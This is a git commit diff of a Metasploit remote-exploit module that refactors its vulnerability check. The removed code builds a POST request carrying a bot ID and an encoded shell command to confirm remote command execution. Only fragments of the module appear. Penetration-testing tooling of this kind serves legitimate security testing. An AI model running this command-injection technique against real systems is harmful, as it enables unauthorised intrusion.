Applied some refactoring to decrease line count

unstable
Brian Wallace 2013-06-28 22:44:23 -07:00
parent fe0e16183c
commit b8cada9ab0
1 changed files with 2 additions and 11 deletions

View File

@ -54,19 +54,9 @@ class Metasploit3 < Msf::Exploit::Remote
end
def check
uri = normalize_uri(target_uri.path.to_s)
confirm_string = rand_text_alpha(8)
cmd = "echo '#{confirm_string}';"
request_parameters = {
'method' => 'POST',
'uri' => uri,
'vars_post' =>
{
'id' => datastore['BOTID'],
'data' => Rex::Text.encode_base64(cmd.unpack('H*'))
}
}
shell = send_request_cgi(request_parameters)
shell = http_send_command(cmd)
if (shell and shell.body =~ /#{confirm_string}/)
return Exploit::CheckCode::Vulnerable
end
@ -85,6 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
}
}
res = send_request_cgi(request_parameters)
return res
end
def exploit